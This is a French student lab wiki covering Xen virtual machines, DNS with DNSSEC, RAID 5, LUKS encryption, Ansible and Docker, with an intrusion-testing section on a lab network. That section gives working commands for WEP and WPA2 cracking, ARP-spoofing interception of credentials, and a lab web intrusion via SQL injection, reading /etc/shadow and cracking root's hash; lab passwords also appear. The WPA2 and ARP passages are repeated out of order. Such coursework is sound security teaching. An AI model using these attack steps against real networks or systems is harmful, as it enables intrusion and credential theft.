crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc nous utilisons la condition vraie sur les deux champs. De ce fait la base de données sera « perdue » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous indiquant qu'il est impossible de se connecter à tout ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présents. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== TP ASR ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder à des "apt install" et ne plus être considéré comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur Chassiron est capable de ping google.

'''Clés SSH'''

Génération d’une paire de clef asymétrique :
ssh-keygen -t rsa

Ces clés sont stocké coté capbreton dans le dossier /.ssh

Par la suite nous installons la clef publique sur nos cibles (les machines sur Chassiron) :
cat .ssh/id_rsa.pub | ssh 192.168.42.5 "cat >> /root/.ssh/authorized_keys2"
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement

'''Installation d'Ansible'''

Installation via la commande :
apt install ansible

L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :
[webserver]
192.168.42.5

[webservers]
192.168.42.5
192.168.42.2
192.168.42.4
192.168.42.7
192.168.42.9
192.168.42.12

Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible :
ansible webserver -a "lsb_release -d"

L'étape suivant consiste à tester ansible.
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- ntp
- python3
- python3-pip

- name: docker
pip:
name: docker

- name: maj ntp
copy:
src: "/etc/ntp.conf"
dest: "/etc/ntp.conf"
owner: root
group: root
mode: '0644'

- name: maj motd
copy:
src: "/etc/motd"
dest: "/etc/motd"
owner: root
group: root
mode: '0644'

Ce rôle s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de Capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de Chassiron via la commande ssh root@192.168.42.5

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Plusieurs commandes nous permettent de vérifier le bon fonctionnement :
docker images (Affichage des différentes images docker installées)
docker ps -a (Affichage des différents containeur en cours d'exécution)

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :
- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisée.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :
docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

Puis coté chassiron :
docker pull 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

=== Equilibreur de charge ===

Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :

a2enmod proxy
a2enmod proxy_http
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :
reverse IN CNAME www
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).

Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :
<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
ProxyPass / http://192.168.42.5:8085
ProxyPassReverse / http://192.168.42.5:8085
</VirtualHost>

Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).

Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :

<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
<Proxy "balancer://mycluster">
BalancerMember "http://192.168.42.5:8085" route=1
BalancerMember "http://192.168.42.2:8085" route=2
BalancerMember "http://192.168.42.4:8085" route=3
BalancerMember "http://192.168.42.7:8085" route=4
BalancerMember "http://192.168.42.9:8085" route=5
BalancerMember "http://192.168.42.12:8085" route=6
ProxySet lbmethod=byrequests
</Proxy>
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
</VirtualHost>

Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.

Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :

a2enmod status

Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :

<Location "/server-status">
SetHanlder server-status
Order Allow,Deny
Allow from all
</Location>

Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.

TP sysres IMA5sc 2020/2021 G5

2020-12-20T15:07:34Z

Psanchez : /* Architecture de la ferme */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

